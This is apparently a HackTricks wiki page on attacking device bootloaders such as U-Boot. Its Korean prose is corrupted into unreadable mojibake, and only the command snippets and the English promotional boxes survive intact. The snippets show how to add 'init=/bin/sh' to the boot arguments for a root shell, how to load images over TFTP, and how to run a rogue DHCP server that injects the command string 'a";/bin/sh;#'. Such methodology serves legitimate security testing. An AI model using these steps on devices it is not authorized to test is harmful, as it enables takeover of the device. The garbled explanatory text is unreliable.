{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ๋‹ค์Œ ๋‹จ๊ณ„๋Š” U-boot์™€ ๊ฐ™์€ ์žฅ์น˜ ์‹œ์ž‘ ๊ตฌ์„ฑ ๋ฐ ๋ถ€ํŠธ๋กœ๋”๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค: 1. **๋ถ€ํŠธ๋กœ๋”์˜ ์ธํ„ฐํ”„๋ฆฌํ„ฐ ์…ธ์— ์ ‘๊ทผ**: - ๋ถ€ํŒ… ์ค‘ "0", ์ŠคํŽ˜์ด์Šค ๋˜๋Š” ๋‹ค๋ฅธ ์‹๋ณ„๋œ "๋งค์ง ์ฝ”๋“œ"๋ฅผ ๋ˆŒ๋Ÿฌ ๋ถ€ํŠธ๋กœ๋”์˜ ์ธํ„ฐํ”„๋ฆฌํ„ฐ ์…ธ์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค. 2. **๋ถ€ํŠธ ์ธ์ˆ˜ ์ˆ˜์ •**: - ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ '`init=/bin/sh`'๋ฅผ ๋ถ€ํŠธ ์ธ์ˆ˜์— ์ถ”๊ฐ€ํ•˜์—ฌ ์…ธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค: %%% #printenv #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh #saveenv #boot %%% 3. **TFTP ์„œ๋ฒ„ ์„ค์ •**: - ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด TFTP ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค: %%% #setenv ipaddr 192.168.2.2 #์žฅ์น˜์˜ ๋กœ์ปฌ IP #setenv serverip 192.168.2.1 #TFTP ์„œ๋ฒ„ IP #saveenv #reset #ping 192.168.2.1 #๋„คํŠธ์›Œํฌ ์ ‘๊ทผ ํ™•์ธ #tftp ${loadaddr} uImage-3.6.35 #loadaddr๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•  ์ฃผ์†Œ์™€ TFTP ์„œ๋ฒ„์˜ ์ด๋ฏธ์ง€ ํŒŒ์ผ ์ด๋ฆ„์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค %%% 4. **`ubootwrite.py` ์‚ฌ์šฉ**: - `ubootwrite.py`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ U-boot ์ด๋ฏธ์ง€๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์ˆ˜์ •๋œ ํŽŒ์›จ์–ด๋ฅผ ํ‘ธ์‹œํ•˜์—ฌ ๋ฃจํŠธ ์ ‘๊ทผ์„ ์–ป์Šต๋‹ˆ๋‹ค. 5. **๋””๋ฒ„๊ทธ ๊ธฐ๋Šฅ ํ™•์ธ**: - ์ž์„ธํ•œ ๋กœ๊น…, ์ž„์˜ ์ปค๋„ ๋กœ๋“œ ๋˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค์—์„œ ๋ถ€ํŒ…๊ณผ ๊ฐ™์€ ๋””๋ฒ„๊ทธ ๊ธฐ๋Šฅ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. 6. **์ฃผ์˜ํ•  ํ•˜๋“œ์›จ์–ด ๊ฐ„์„ญ**: - ์žฅ์น˜ ๋ถ€ํŒ… ์‹œํ€€์Šค ์ค‘ ํ•˜๋‚˜์˜ ํ•€์„ ์ ‘์ง€์— ์—ฐ๊ฒฐํ•˜๊ณ  SPI ๋˜๋Š” NAND ํ”Œ๋ž˜์‹œ ์นฉ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ์ฃผ์˜ํ•˜์‹ญ์‹œ์˜ค. ํŠนํžˆ ์ปค๋„์ด ์••์ถ• ํ•ด์ œ๋˜๊ธฐ ์ „์— ํ•€์„ ๋‹จ๋ฝํ•˜๊ธฐ ์ „์— NAND ํ”Œ๋ž˜์‹œ ์นฉ์˜ ๋ฐ์ดํ„ฐ์‹œํŠธ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. 7. **์•…์„ฑ DHCP ์„œ๋ฒ„ ๊ตฌ์„ฑ**: - PXE ๋ถ€ํŒ… ์ค‘ ์žฅ์น˜๊ฐ€ ์ˆ˜์‹ ํ•  ์•…์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ฐ€์ง„ ์•…์„ฑ DHCP ์„œ๋ฒ„๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. Metasploit์˜ (MSF) DHCP ๋ณด์กฐ ์„œ๋ฒ„์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. 'FILENAME' ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ `'a";/bin/sh;#'`์™€ ๊ฐ™์€ ๋ช…๋ น ์ฃผ์ž… ๋ช…๋ น์œผ๋กœ ์ˆ˜์ •ํ•˜์—ฌ ์žฅ์น˜ ์‹œ์ž‘ ์ ˆ์ฐจ์— ๋Œ€ํ•œ ์ž…๋ ฅ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. **์ฐธ๊ณ **: ์žฅ์น˜ ํ•€๊ณผ์˜ ๋ฌผ๋ฆฌ์  ์ƒํ˜ธ์ž‘์šฉ์„ ํฌํ•จํ•˜๋Š” ๋‹จ๊ณ„(*๋ณ„ํ‘œ๋กœ ํ‘œ์‹œ๋œ)๋Š” ์žฅ์น˜ ์†์ƒ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๊ทน๋„๋กœ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ## References * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}